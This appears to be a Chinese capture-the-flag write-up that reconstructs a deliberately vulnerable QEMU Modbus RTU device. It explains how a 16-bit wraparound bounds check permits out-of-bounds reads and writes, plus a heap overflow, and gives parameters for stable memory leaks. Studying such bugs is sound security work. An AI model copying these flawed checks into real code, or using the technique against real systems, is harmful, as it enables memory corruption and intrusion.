启动后,QEMU 不跑任何 CPU/系统镜像(-machine none -nodefaults),只注册并运行了一个自定义外设:modbus-rtu。它通过 QEMU 的 chardev socket 把这个外设挂到一个 TCP 端口(默认 1502) 上:

1
2
3
4
5
6
./qemu-system-x86_64 \
-machine none \
-nographic \
-nodefaults \
-chardev socket,id=mbus,host=0.0.0.0,port=1502,server=on,wait=off \
-device modbus-rtu,chardev=mbus,unit-id=1
  • -machine none:没有虚拟机、没有 guest,只是一个设备在跑。
  • -chardev socket,server=on,host=0.0.0.0,port=1502:QEMU 开启 TCP 服务,监听 1502 端口,idmbus
  • -device modbus-rtu,chardev=mbus,unit-id=1:注册了一个 Modbus RTU 从站设备,从站地址(unit-id)为 1。并且设置 CharBackend 为前面定义的 mbus

“监听网络端口”这件事根本不在设备代码里实现,而是在 QEMU 的 chardev 后端层 做的。你的设备代码只和一个“字符流”打交道,至于这个字符流是来自 TCP 端口、UNIX 套接字、PTY、管道还是 stdio,都由 -chardev后端类型决定。

  • 设备前端(FE):你的 ModbusRtuState 里有一个 CharBackend chr;,并在 realize() 里调用:
    • qemu_chr_fe_set_handlers(&s->chr, ...) 注册回调(能读多少、收到数据、opened 事件)。
    • qemu_chr_fe_write_all(&s->chr, ...) 发数据。
  • 后端(BE):由命令行 -chardev ... ,id=XXX 创建,比如 socketptypipefilestdio 等等。不同后端负责实际的 I/O
    • -chardev socket,...,server=on,host=...,port=...监听 TCP 端口
    • -chardev socket,...,path=/tmp/mbus.sock,server=on监听 UNIX 域套接字
    • -chardev pty,id=...创建一个伪终端
    • -chardev stdio,id=...走 QEMU 的标准输入输出
    • ……

然后你在设备上把两者绑定起来:

1
-device modbus-rtu,chardev=XXX,unit-id=1

设备只知道有个 CharBackendXXX,背后具体是不是网络端口,它不关心。

题目完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* QEMU Modbus RTU character-device helper
*
* 一个挂在 -chardev 后端上的简单 Modbus RTU 从站(slave)。
* 仅实现功能码 0x03(读保持寄存器)与 0x10(写多个保持寄存器)。
*
* 行为特意保持与用户给出的反编译片段一致(CTF 还原):
* - 输入缓冲区大小 260 字节;can_read() 返回 260 - rx_len
* - 帧长判定:fc=0x03 => 固定 8 字节;fc=0x10 => 9 + bytecount
* - 校验 CRC16(Modbus 多项式 0xA001,初值 0xFFFF,低位在前),
* 若 CRC 不匹配,则丢弃 1 个字节并重试
* - 当收到未知功能码且缓冲区已有 ≥4 字节时,发送异常应答
* (ILLEGAL FUNCTION=0x01),随后只丢 1 个字节(地址),再重试
* - 仅当单元 ID 匹配或广播地址(0x00)时才处理请求
* - 广播按照给定逻辑同样会发送“响应”(与标准不同,保持题面一致)
* - 地址范围:0..255(16 位寄存器),共 256 个保持寄存器
*
* -------------------------------------------------------------------------
* 【关键漏洞说明】
*
* 1) 越界读(0x03)
* - 原因:合法性校验采用 (uint16_t)(start + count) ≤ 0x100(16 位截断“环回”),
* 但实际读取使用 regs[start + i](按真实 start 做索引,不截断)。
* - 只要选择“很大的 start(如接近 0xFFFF)+ 小的 count”,使 16 位环回后
* 条件满足,即可从 regs 数组“之后”的内存读取数据并打包返回。
* - 单帧稳定泄露建议:count ≤ 127(避免下述少分配溢出),可泄露 2*count 字节,
* 最大 254 字节/帧。读地址范围(相对 regs 基址 B)为 [B + 2*start, B + 2*(start+count-1)]。
*
* 2) 越界写(0x10)
* - 原因:同样的 16 位截断校验 (uint16_t)(start + count) ≤ 0x100,实际写入
* 使用 regs[start + i]。选择“很大的 start + 小的 count”,即可把请求体中的
* 数据写到 regs 数组外部(覆盖其它对象/指针等)。
* - 受接收缓冲 260 字节限制:0x10 的总帧长 = 9 + byte_count ≤ 260,且 byte_count=2*count,
* 故 count ≤ 125。单帧最大可写 2*count = 250 字节。
*
* 3) 额外但不在本题主线的风险(保留于注释提醒):
* - 0x03 路径中 byte_count=2*count 使用 uint8_t 截断,count≥128 时会“少分配”导致堆溢出。
* 本文件仅注释“越界读写”要点,堆溢出细节见题解文档。
* -------------------------------------------------------------------------
*/

#include "qemu/osdep.h" // QEMU 通用平台依赖封装
#include "qapi/error.h" // 错误处理/报告
#include "hw/qdev-core.h" // QOM/QDev 框架核心
#include "qemu/module.h" // 模块注册(type_init等)
#include "chardev/char-fe.h" // 字符设备前端封装
#include "hw/qdev-properties.h" // 设备属性注册/宏
#include "qemu/bswap.h" // 大小端工具(此处手写了be16_load/store)
#include "qemu/log.h" // 日志(此实现未使用)

#define TYPE_MODBUS_RTU "modbus-rtu"
OBJECT_DECLARE_SIMPLE_TYPE(ModbusRtuState, MODBUS_RTU)

/* ---- Modbus 协议常量 --------------------------------------------------- */

enum {
MODBUS_FC_READ_HOLDING = 0x03, // 读保持寄存器
MODBUS_FC_WRITE_MULTIPLE = 0x10, // 写多个保持寄存器
};

enum {
MODBUS_EX_ILLEGAL_FUNCTION = 0x01, // 功能码不支持
MODBUS_EX_ILLEGAL_DATA_ADDR = 0x02, // 非法地址
MODBUS_EX_ILLEGAL_DATA_VALUE = 0x03, // 非法数据值/长度
};

/* ---- 设备状态 ---------------------------------------------------------- */

typedef struct ModbusRtuState {
DeviceState parent_obj; // 继承 QEMU DeviceState(QOM 对象基类)

/* chardev 前端(与 -chardev 后端连接的前端句柄) */
CharBackend chr;

/* 可配置属性 */
uint8_t unit_id; /* "unit-id":Modbus 从站地址 */

/* 内部保持寄存器区:256 × 16 位(0..255) */
uint16_t regs[256];

/* 接收累积缓冲(反编译片段使用 260 字节,这里保持一致) */
uint8_t rx_buf[260];
size_t rx_len; // 当前已累积的字节数
} ModbusRtuState;

/* ---- 辅助函数 ---------------------------------------------------------- */

/* 从大端字节序读取 16 位 */
static inline uint16_t be16_load(const uint8_t *p)
{
return (uint16_t)((p[0] << 8) | p[1]);
}

/* 按大端字节序写入 16 位 */
static inline void be16_store(uint8_t *p, uint16_t v)
{
p[0] = (uint8_t)(v >> 8);
p[1] = (uint8_t)(v & 0xFF);
}

/* Modbus CRC16:多项式 0xA001,初始 0xFFFF,按 LSB-first 逐位滚动
*/
static uint16_t modbus_crc16(const uint8_t *buf, size_t len)
{
uint16_t crc = 0xFFFF;
for (size_t i = 0; i < len; i++) {
crc ^= buf[i];
for (int b = 0; b < 8; b++) {
if (crc & 0x0001) {
crc = (crc >> 1) ^ 0xA001;
} else {
crc >>= 1;
}
}
}
return crc;
}

/* 将整个帧写到后端:与反编译里的 qemu_chr_fe_write_all(a1+152, ...) 相同语义 */
static void modbus_send(ModbusRtuState *s, const uint8_t *buf, size_t len)
{
qemu_chr_fe_write_all(&s->chr, buf, len);
}

/* 发送 Modbus 异常应答帧:addr, (func|0x80), ex_code, CRC(lo,hi) */
static void modbus_send_exception(ModbusRtuState *s, uint8_t addr,
uint8_t func, uint8_t ex)
{
uint8_t out[5];
out[0] = addr;
out[1] = (uint8_t)(func | 0x80); // 异常位:功能码最高位 1
out[2] = ex; // 异常码
uint16_t crc = modbus_crc16(out, 3);
out[3] = (uint8_t)(crc & 0xFF); // CRC 低字节在前
out[4] = (uint8_t)(crc >> 8); // CRC 高字节在后
modbus_send(s, out, sizeof(out));
}

/* 功能码 0x03:读保持寄存器
* 请求格式:addr, 0x03, start_hi, start_lo, count_hi, count_lo, crc_lo, crc_hi
* 响应格式:addr, 0x03, byte_count, data..., crc_lo, crc_hi
*/
static void modbus_handle_fc03(ModbusRtuState *s, const uint8_t *req)
{
const uint8_t addr = req[0];
const uint16_t start = be16_load(&req[2]); // 起始寄存器地址
const uint16_t count = be16_load(&req[4]); // 读取寄存器数量

// 【漏洞-越界读 原因1:16位截断的环回校验】
// 这里使用 (uint16_t)(start + count) 与 0x100 比较(仅 16 位),
// 可构造“很大的 start + 小的 count”使得环回后仍 ≤ 0x100,从而绕过检查。
// 但下面真正访问时用的是 regs[start + i](按真实 start 索引,不截断),
// 故当 start ≥ 256 时会从 regs 数组之外读取(OOB Read)。
if (count == 0 || (uint16_t)(start + count) > 0x100U) {
// 地址越界 -> 异常码 0x02
modbus_send_exception(s, addr, MODBUS_FC_READ_HOLDING,
MODBUS_EX_ILLEGAL_DATA_ADDR);
return;
}

// 【漏洞-越界读 说明2:稳定泄露与堆溢出的分界】
// 下面把 2*count 放入 uint8_t(byte_count),当 count ≥ 128 时会发生 8 位截断,
// 随后 out_len=3+byte_count+2 会“少分配”,而 for 循环仍按真实 count 拷贝数据,
// 会导致堆溢出(这是附带的另一个漏洞)。为“稳定泄露 OOB 读”,建议 count ≤ 127。
uint8_t byte_count = count * 2; // 8 位截断 → count≥128 时将发生“少分配”
size_t out_len = 3 + byte_count + 2; // addr, func, bc, data..., crc
uint8_t *out = g_malloc(out_len); // 可能少分配(见上注)

out[0] = addr;
out[1] = MODBUS_FC_READ_HOLDING;
out[2] = byte_count;

// 【漏洞-越界读 触发点:真实访问 regs[start + i]】
// 实际读出的内存区间(相对 regs 基址 B):
// [ B + 2*start , B + 2*(start + count - 1) ](总长度 2*count 字节)
// 当 start 足够大时,将跨出 regs[256](仅 512 字节),把后续堆对象数据打包返回。
size_t p = 3;
for (uint16_t i = 0; i < count; i++) {
uint16_t v = s->regs[start + i];
out[p++] = (uint8_t)(v >> 8);
out[p++] = (uint8_t)(v & 0xFF);
}

// 计算并填充 CRC(低字节在前)
uint16_t crc = modbus_crc16(out, out_len - 2);
out[out_len - 2] = (uint8_t)(crc & 0xFF);
out[out_len - 1] = (uint8_t)(crc >> 8);

modbus_send(s, out, out_len);
g_free(out);
}

/* 功能码 0x10:写多个保持寄存器
* 请求格式:addr, 0x10, start(2), count(2), byte_count, data(2*count), crc(2)
* 响应格式:addr, 0x10, start(2), count(2), crc(2)
*/
static void modbus_handle_fc10(ModbusRtuState *s, const uint8_t *req)
{
const uint8_t addr = req[0];
const uint16_t start = be16_load(&req[2]); // 起始寄存器地址
const uint16_t count = be16_load(&req[4]); // 写入寄存器数量
const uint8_t byte_count = req[6]; // 数据字节数,须为 2*count

// 【漏洞-越界写 原因:同样的16位截断校验】
// 这里也使用 (uint16_t)(start + count) ≤ 0x100 的 16 位环回判断,
// 可构造“很大的 start + 小的 count”绕过检查,随后在实际写入 regs[start+i] 时
// 对 regs 数组之外的内存进行覆盖(OOB Write)。
if (count == 0 || (uint16_t)(start + count) > 0x100U) {
modbus_send_exception(s, addr, MODBUS_FC_WRITE_MULTIPLE,
MODBUS_EX_ILLEGAL_DATA_ADDR);
return;
}
// 数据长度一致性检查:通过后才会执行真实写入
if (byte_count != 2 * count) {
modbus_send_exception(s, addr, MODBUS_FC_WRITE_MULTIPLE,
MODBUS_EX_ILLEGAL_DATA_VALUE);
return;
}

/* 【漏洞-越界写 触发点:真实写 regs[start + i]】
* 写入的内存区间(相对 regs 基址 B):
* [ B + 2*start , B + 2*(start + count - 1) ](总长度 2*count 字节)
* 当 start 足够大时,将覆盖 regs 之后的其它对象/元数据/指针等。
* 受接收缓冲 260 字节限制:0x10 总帧长 = 9 + byte_count ≤ 260 且 byte_count=2*count,
* 因此 count ≤ 125,单帧最大可写 250 字节。
*/
for (uint16_t i = 0; i < count; i++) {
uint16_t v = be16_load(&req[7 + 2 * i]);
s->regs[start + i] = v;
}

/* 响应为“回显”起始地址与数量(不回显数据体) */
uint8_t out[8];
out[0] = addr;
out[1] = MODBUS_FC_WRITE_MULTIPLE;
be16_store(&out[2], start);
be16_store(&out[4], count);
uint16_t crc = modbus_crc16(out, 6);
out[6] = (uint8_t)(crc & 0xFF);
out[7] = (uint8_t)(crc >> 8);
modbus_send(s, out, sizeof(out));
}

/* 试图从 rx_buf 中解析并处理一帧。
* 若消耗了缓冲(即有进展)返回 true;否则返回 false 以等待更多数据。
* 该逻辑严格复现题面片段的“帧长判定 / CRC 错 / 功能不支持 / 丢 1 字节”行为。
*/
static bool modbus_try_parse(ModbusRtuState *s)
{
if (s->rx_len <= 3) { // 至少需要 addr、func、后续长度字段/CRC 的一部分
return false;
}

const uint8_t *buf = s->rx_buf;
const uint8_t addr = buf[0];
const uint8_t func = buf[1];

size_t need = 0;
if (func == MODBUS_FC_READ_HOLDING) {
need = 8; /* 固定长度:addr func start(2) count(2) crc(2) */
if (s->rx_len < need) {
return false; // 数据不够,继续等
}
} else if (func == MODBUS_FC_WRITE_MULTIPLE) {
if (s->rx_len <= 6) {
return false; /* 未到 byte_count 字段(第 7 字节) */
}
// 【与接收上限相关】总长度 = 9 + byte_count;rx_buf 只有 260 字节,
// 故 byte_count ≤ 251 → count ≤ floor(251/2) = 125
need = (size_t)buf[6] + 9; /* addr func start(2) count(2) bc data crc(2) */
if (s->rx_len < need) {
return false; // 数据不够,继续等
}
} else {
/* 未知功能码:
* - 若已收到 ≥4 字节,则按 Modbus 异常 0x01 回复,
* - 然后仅丢弃 1 字节(地址),保持与反编译片段一致(非标准)。
*/
if (s->rx_len <= 3) {
return false;
}
modbus_send_exception(s, addr, func, MODBUS_EX_ILLEGAL_FUNCTION);
memmove(s->rx_buf, s->rx_buf + 1, s->rx_len - 1); // 左移 1 字节
s->rx_len -= 1;
return true; // 有进展(丢了数据/发了应答)
}

/* CRC 校验:从帧头到 CRC 之前所有字节 */
uint16_t rx_crc = (uint16_t)(buf[need - 2] | (buf[need - 1] << 8));
uint16_t want = modbus_crc16(buf, need - 2);
if (rx_crc != want) {
/* CRC 不匹配:丢弃 1 个字节并重试(滑动窗口),保持题面行为 */
memmove(s->rx_buf, s->rx_buf + 1, s->rx_len - 1);
s->rx_len -= 1;
return true;
}

/* 单元 ID 过滤:地址匹配当前 unit-id 或广播地址(0x00)才处理
* 注意:此实现特意保留“广播也回包”的题面行为(非标准)。
*/
if (addr == s->unit_id || addr == 0x00) {
if (func == MODBUS_FC_READ_HOLDING) {
modbus_handle_fc03(s, buf);
} else if (func == MODBUS_FC_WRITE_MULTIPLE) {
modbus_handle_fc10(s, buf);
}
}

/* 消耗掉这一整帧,继续解析下一帧(若有的话) */
memmove(s->rx_buf, s->rx_buf + need, s->rx_len - need);
s->rx_len -= need;
return true;
}

/* ---- 字符设备回调 ------------------------------------------------------ */

/* 后端“可读”回调:返回还能再读入多少字节(260 - 已占用) */
static int modbus_can_read(void *opaque)
{
ModbusRtuState *s = MODBUS_RTU(opaque);
/* 对应反编译里的 return 260 - field_3D8; */
int cap = (int)(sizeof(s->rx_buf) - s->rx_len);
return cap > 0 ? cap : 0;
}

/* 真正读入数据的回调:将数据追加到 rx_buf,并尽量解析 */
static void modbus_read(void *opaque, const uint8_t *buf, int size)
{
ModbusRtuState *s = MODBUS_RTU(opaque);
if (size <= 0) {
return;
}

// 截断写入,避免溢出(保持 260 上限)
size_t n = size;
if (n > sizeof(s->rx_buf) - s->rx_len) {
n = sizeof(s->rx_buf) - s->rx_len;
}
if (n) {
memcpy(s->rx_buf + s->rx_len, buf, n);
s->rx_len += n;
}

/* 只要还能“有进展”(解析掉一帧/丢 1 字节),就持续循环 */
while (modbus_try_parse(s)) {
/* 空循环体,进展由 try_parse 控制 */
}
}

/* 事件回调:当 chardev 打开时,复位接收长度(与题面 field_3D8=0 对齐) */
static void modbus_event(void *opaque, QEMUChrEvent event)
{
ModbusRtuState *s = MODBUS_RTU(opaque);
if (event == CHR_EVENT_OPENED) {
s->rx_len = 0;
}
}

/* ---- QOM / QDev Glue(设备生命周期与属性) ----------------------------- */

static void modbus_realize(DeviceState *dev, Error **errp)
{
ModbusRtuState *s = MODBUS_RTU(dev);

// 必须已连接到某个 chardev 后端,否则报错
if (!qemu_chr_fe_backend_connected(&s->chr)) {
error_setg(errp, "Can't create modbus-rtu device, empty char device");
return;
}

// 清空寄存器与接收缓冲
memset(s->regs, 0, sizeof(s->regs));
s->rx_len = 0;

/* 注册 chardev 回调处理函数(与新树/老树签名差异见下注) */
qemu_chr_fe_set_handlers(&s->chr,
modbus_can_read,
modbus_read,
modbus_event,
s,
NULL);

/* 如果你的 QEMU 树需要旧版签名,请用:
* qemu_chr_fe_set_handlers(&s->chr, modbus_can_read, modbus_read,
* modbus_event, NULL, s, NULL, true);
*/
}

static void modbus_unrealize(DeviceState *dev)
{
ModbusRtuState *s = MODBUS_RTU(dev);
/* 解绑回调,清理前端 */
qemu_chr_fe_set_handlers(&s->chr, NULL, NULL, NULL, NULL, NULL);
}

/* 设备属性:chardev 句柄与 unit-id(默认 1) */
static Property modbus_properties[] = {
DEFINE_PROP_CHR("chardev", ModbusRtuState, chr),
DEFINE_PROP_UINT8("unit-id", ModbusRtuState, unit_id, 1),
DEFINE_PROP_END_OF_LIST(),
};

/* 类初始化:挂接 realize/unrealize 与属性 */
static void modbus_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);

dc->realize = modbus_realize;
dc->unrealize = modbus_unrealize;
device_class_set_props(dc, modbus_properties);
/* 反编译片段里涉及类别开关;此处使用默认分类即可。*/
}

/* QOM 类型信息:名称、父类、实例大小、类初始化 */
static const TypeInfo modbus_type_info = {
.name = TYPE_MODBUS_RTU,
.parent = TYPE_DEVICE,
.instance_size = sizeof(ModbusRtuState),
.class_init = modbus_class_init,
};

/* 模块注册入口:在 QEMU 启动时注册该设备类型 */
static void modbus_register_types(void)
{
type_register_static(&modbus_type_info);
}

type_init(modbus_register_types);

核心错误:代码把合法范围理解为“**(start + count) ≤ 0x100(256)”,但比较时做了 16 位截断**:

1
(uint16_t)(start + count) <= 0x100

这意味着你可以选一个很大的 start(例如接近 0xFFFF),再配一个小 count,让 (start + count) & 0xFFFF 环回(wrap-around)到一个很小的数,从而骗过检查
然而真正读/写时用的是 s->regs[start + i](即按真实的 start做索引),相当于对 256 大小的数组做了巨大正偏移,从而读/写“数组之外”的内存

直观图(单位:字节;regs 占 512B)

1
2
3
4
|<-------------- ModbusRtuState(设备对象,堆上)----------------------------->|
... [ regs: 512 bytes ] ... [ 其他字段 / 其他堆块 / 其他映射 ... ]
^基址 = regs_base
访问地址 = regs_base + 2*(start + i)

只要 2*(start + i) 远大于 512,就会“落到”regs 之后的其它内存(同一堆 arena 的别的对象/元数据/指针),从而形成:

  • 0x03:越界读(OOB Read) —— 把外部内存读出来并打包发回;
  • 0x10:越界写(OOB Write) —— 把请求中的字节写到外部内存;配合 0x03 可做二次泄露直接破坏对象/堆

0x03:越界读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* 功能码 0x03:读保持寄存器
* 请求格式:addr, 0x03, start_hi, start_lo, count_hi, count_lo, crc_lo, crc_hi
* 响应格式:addr, 0x03, byte_count, data..., crc_lo, crc_hi
*/
static void modbus_handle_fc03(ModbusRtuState *s, const uint8_t *req)
{
const uint8_t addr = req[0];
const uint16_t start = be16_load(&req[2]); // 起始寄存器地址
const uint16_t count = be16_load(&req[4]); // 读取寄存器数量

// 【漏洞-越界读 原因1:16位截断的环回校验】
// 这里使用 (uint16_t)(start + count) 与 0x100 比较(仅 16 位),
// 可构造“很大的 start + 小的 count”使得环回后仍 ≤ 0x100,从而绕过检查。
// 但下面真正访问时用的是 regs[start + i](按真实 start 索引,不截断),
// 故当 start ≥ 256 时会从 regs 数组之外读取(OOB Read)。
if (count == 0 || (uint16_t)(start + count) > 0x100U) {
// 地址越界 -> 异常码 0x02
modbus_send_exception(s, addr, MODBUS_FC_READ_HOLDING,
MODBUS_EX_ILLEGAL_DATA_ADDR);
return;
}

// 【漏洞-越界读 说明2:稳定泄露与堆溢出的分界】
// 下面把 2*count 放入 uint8_t(byte_count),当 count ≥ 128 时会发生 8 位截断,
// 随后 out_len=3+byte_count+2 会“少分配”,而 for 循环仍按真实 count 拷贝数据,
// 会导致堆溢出(这是附带的另一个漏洞)。为“稳定泄露 OOB 读”,建议 count ≤ 127。
uint8_t byte_count = count * 2; // 8 位截断 → count≥128 时将发生“少分配”
size_t out_len = 3 + byte_count + 2; // addr, func, bc, data..., crc
uint8_t *out = g_malloc(out_len); // 可能少分配(见上注)

out[0] = addr;
out[1] = MODBUS_FC_READ_HOLDING;
out[2] = byte_count;

// 【漏洞-越界读 触发点:真实访问 regs[start + i]】
// 实际读出的内存区间(相对 regs 基址 B):
// [ B + 2*start , B + 2*(start + count - 1) ](总长度 2*count 字节)
// 当 start 足够大时,将跨出 regs[256](仅 512 字节),把后续堆对象数据打包返回。
size_t p = 3;
for (uint16_t i = 0; i < count; i++) {
uint16_t v = s->regs[start + i];
out[p++] = (uint8_t)(v >> 8);
out[p++] = (uint8_t)(v & 0xFF);
}

// 计算并填充 CRC(低字节在前)
uint16_t crc = modbus_crc16(out, out_len - 2);
out[out_len - 2] = (uint8_t)(crc & 0xFF);
out[out_len - 1] = (uint8_t)(crc >> 8);

modbus_send(s, out, out_len);
g_free(out);
}

每个寄存器 2 字节,读 count 个寄存器,读取字节区间 = [2*start, 2*(start + count - 1)](相对 regs_base)。

读取数据时使用的 startcount 需要满足如下条件:

  • 通过地址检查count >= 1(uint16_t)(start + count) <= 0x100 (16 位环回)
  • 避免堆溢出:由于回包分配长度用 byte_count = (uint8_t)(2*count),当 count ≥ 128 时会少分配导致堆溢出。我们若只想“稳定泄露而不崩”,取 count ≤ 127 即可。

代码允许处理当且仅当:

count  1((start+count)mod216)  256. \mathbf{count}\ \ge\ 1 \quad\text{且}\quad \bigl((\mathbf{start}+\mathbf{count}) \bmod 2^{16}\bigr)\ \le\ 256.

把条件改写为允许的 start 取值集合(对固定的 count):

 start  [count, 256count]  (mod 216)  \boxed{\ \mathbf{start}\ \in\ \bigl[-\mathbf{count},\ 256-\mathbf{count}\bigr]\ \ (\bmod\ 2^{16})\ }

进一步按 count 的大小描述为具体区间:

  • count <= 256
start  [0, 256count]  [65536count, 65535]. \mathbf{start}\ \in\ [0,\ 256-\mathbf{count}] \ \cup\ [65536-\mathbf{count},\ 65535].
  • count > 256(仍然是 257 个允许值,只是整体落在高端一段):
start  [65536count, 65536+256count]  (在 [0,65535] 上视作模 216 的连续区间). \mathbf{start}\ \in\ [65536-\mathbf{count},\ 65536+256-\mathbf{count}]\ \ (\text{在 }[0,65535]\text{ 上视作模 }2^{16}\text{ 的连续区间}).

读循环按真实索引访问:

v=s->regs[ start + i ],i=0..count1. \texttt{v} = \texttt{s->regs[ start + i ]},\quad i=0.. \mathbf{count}-1.

因此相对 B字节范围为:

 [2start , 2(start+count)1]  \boxed{\ \bigl[\, 2\cdot\mathbf{start}\ ,\ 2\cdot(\mathbf{start}+\mathbf{count})-1 \,\bigr]\ }

总长度为:

2count 字节. \boxed{\,2\cdot\mathbf{count}\ \text{字节}\, }.

start256\mathbf{start}\ge 256start+count1256\mathbf{start}+\mathbf{count}-1 \ge 256 时,上述区间越过合法的 [0..511],形成越界读


FC03 回包分配与实际写入不一致:

byte_count=(2count) & 0xFF,out_len=3+byte_count+2, \text{byte\_count} = \bigl(2\cdot \mathbf{count}\bigr)\ \&\ 0x\mathrm{FF}, \qquad \text{out\_len} = 3 + \text{byte\_count} + 2,

但实际回填数据长度是 2count2\cdot\mathbf{count} 字节。当 count128\mathbf{count}\ge 128 时发生少分配→堆写越界

若只想“稳定越界读而不崩”,取

count127 \boxed{\,\mathbf{count} \le 127\,}

此时

out_len=3+2count+2259260, \text{out\_len} = 3 + 2\cdot\mathbf{count} + 2 \le 259 \le 260,

既不溢出,也不超出 RX 缓冲上限。


示例(脚本常用参数):取 count=127\mathbf{count}=127start=0xFF81\mathbf{start}=0x\mathrm{FF81},则

[20xFF81 , 2(0xFF81+127)1]=[0x1FF02 , 0x1FFFF], \bigl[\,2\cdot 0x\mathrm{FF81}\ ,\ 2\cdot(0x\mathrm{FF81}+127)-1\,\bigr] = \bigl[\,0x\mathrm{1FF02}\ ,\ 0x\mathrm{1FFFF}\,\bigr],

完全落在 regs 之后的大块堆内存里,便于稳定泄露。

因此我们可以取 count = 127,然后 start 可以取 [0xff81, 0x10081]。这样可以满足条件并读取 [2*start, 2*start + 0xfc] 范围的数据。

0x03:堆溢出

功能 0x03 读取的数据会写入 g_malloc 申请的堆块。

1
2
3
uint8_t byte_count = count * 2;               // 8 位截断 → count≥128 时将发生“少分配”
size_t out_len = 3 + byte_count + 2; // addr, func, bc, data..., crc
uint8_t *out = g_malloc(out_len); // 可能少分配(见上注)

FC03 不会对 regs 写入,故不存在“写 regs 邻接内存”的越界写,但 FC03 回包阶段存在堆写越界。其溢出覆盖区相对 out 缓冲为:

[out+3+byte_count , out+3+2count1]. \bigl[\, \texttt{out}+3+\text{byte\_count}\ ,\ \texttt{out}+3+2\cdot\mathbf{count}-1 \,\bigr].

申请堆块的大小为:

byte_count  =  (2count)mod256 \text{byte\_count} \;=\; (2\cdot \mathbf{count}) \bmod 256 out_len  =  3+byte_count+2  =  5+((2count)mod256) \boxed{\,\text{out\_len} \;=\; 3 + \text{byte\_count} + 2 \;=\; 5 + \bigl((2\cdot \mathbf{count}) \bmod 256\bigr)\,}

因为2count2\cdot \mathbf{count} 恒为偶数,byte_count{0,2,4,,254}\text{byte\_count}\in\{0,2,4,\dots,254\},因此 out_len{5,7,9,,259}\boxed{\,\text{out\_len}\in\{5,7,9,\dots,259\}\,}

溢出字节数(Δ\Delta)为:

 Δ=2count((2count)mod256)=256×2count256  \boxed{\ \Delta = 2\cdot \mathbf{count} - \bigl((2\cdot \mathbf{count}) \bmod 256\bigr) = 256 \times \left\lfloor \dfrac{2\cdot \mathbf{count}}{256} \right\rfloor\ }

例如:count=256 溢出 512 字节;count=128 溢出 256 字节。

0x10:越界写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/* 功能码 0x10:写多个保持寄存器
* 请求格式:addr, 0x10, start(2), count(2), byte_count, data(2*count), crc(2)
* 响应格式:addr, 0x10, start(2), count(2), crc(2)
*/
static void modbus_handle_fc10(ModbusRtuState *s, const uint8_t *req)
{
const uint8_t addr = req[0];
const uint16_t start = be16_load(&req[2]); // 起始寄存器地址
const uint16_t count = be16_load(&req[4]); // 写入寄存器数量
const uint8_t byte_count = req[6]; // 数据字节数,须为 2*count

// 【漏洞-越界写 原因:同样的16位截断校验】
// 这里也使用 (uint16_t)(start + count) ≤ 0x100 的 16 位环回判断,
// 可构造“很大的 start + 小的 count”绕过检查,随后在实际写入 regs[start+i] 时
// 对 regs 数组之外的内存进行覆盖(OOB Write)。
if (count == 0 || (uint16_t)(start + count) > 0x100U) {
modbus_send_exception(s, addr, MODBUS_FC_WRITE_MULTIPLE,
MODBUS_EX_ILLEGAL_DATA_ADDR);
return;
}
// 数据长度一致性检查:通过后才会执行真实写入
if (byte_count != 2 * count) {
modbus_send_exception(s, addr, MODBUS_FC_WRITE_MULTIPLE,
MODBUS_EX_ILLEGAL_DATA_VALUE);
return;
}

/* 【漏洞-越界写 触发点:真实写 regs[start + i]】
* 写入的内存区间(相对 regs 基址 B):
* [ B + 2*start , B + 2*(start + count - 1) ](总长度 2*count 字节)
* 当 start 足够大时,将覆盖 regs 之后的其它对象/元数据/指针等。
* 受接收缓冲 260 字节限制:0x10 总帧长 = 9 + byte_count ≤ 260 且 byte_count=2*count,
* 因此 count ≤ 125,单帧最大可写 250 字节。
*/
for (uint16_t i = 0; i < count; i++) {
uint16_t v = be16_load(&req[7 + 2 * i]);
s->regs[start + i] = v;
}

/* 响应为“回显”起始地址与数量(不回显数据体) */
uint8_t out[8];
out[0] = addr;
out[1] = MODBUS_FC_WRITE_MULTIPLE;
be16_store(&out[2], start);
be16_store(&out[4], count);
uint16_t crc = modbus_crc16(out, 6);
out[6] = (uint8_t)(crc & 0xFF);
out[7] = (uint8_t)(crc >> 8);
modbus_send(s, out, sizeof(out));
}

写字节范围 = [ 2*start , 2*(start + count - 1) ](相对 regs_base

写入数据时使用的 startcount 需要满足如下条件:

  • 通过地址检查(同样 16 位环回):count >= 1(uint16_t)(start + count) <= 0x100
  • 通过长度检查byte_count == 2*count
